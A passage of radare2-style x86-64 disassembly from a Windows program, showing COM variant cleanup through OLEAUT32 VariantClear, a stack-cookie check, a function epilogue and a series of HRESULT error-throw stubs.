mov eax, ebx
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x1400057a2
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 0x2a8]
add rdx, 0xffffffffffffffe8
mov eax, ebx
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x1400057c3
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 0x298]
add rdx, 0xffffffffffffffe8
lock xadd dword [rdx + 0x10], ebx
sub ebx, 1
jg 0x1400057e1
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
xor eax, eax
mov rcx, qword [rbp + 0x6a0]
xor rcx, rsp
call fcn.14018ce10
lea r11, [rsp + 0x7b0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov ecx, 0x80070216
call fcn.140002600
nop
mov ecx, 0x80004005
call fcn.140002600
nop
call fcn.140193ae8
nop
call fcn.140193ae8
int3
mov ecx, 0x80004005
call fcn.140002600
nop
mov ecx, 0x80004005
call fcn.140002600
int3
mov ecx, 0x80004005
call fcn.140002600
nop
mov ecx, 0x80004005
call fcn.140002600
nop
mov ecx, 0x80004005
call fcn.140002600
nop
call fcn.140193ae8
nop
call fcn.140193ae8
nop
call fcn.140193ae8
nop
call fcn.140193ae8
int3
mov ecx, 0x80004005
call fcn.140002600
nop
call fcn.140193ae8
nop
call fcn.140193ae8
nop
mov ecx, 0x80004005
call fcn.140002600
nop
call fcn.140008a60
nop
mov ecx, 0x80004005
call fcn.140002600
nop
mov ecx, 0x80004005
call fcn.140002600
nop
mov ecx, 0x80004005
call fcn.140002600
nop
mov ecx, 0x80070057
call fcn.140002600
nop
call fcn.140193ae8
nop
call fcn.140193ae8
int3
call fcn.140197bec
mov dword [rax], 0x16
call fcn.140193ac8
call fcn.14000e718
int3
mov ecx, 0x80070057
call fcn.140002600
int3
call fcn.140008a60
int3
mov ecx, 0x80004005
call fcn.140002600
int3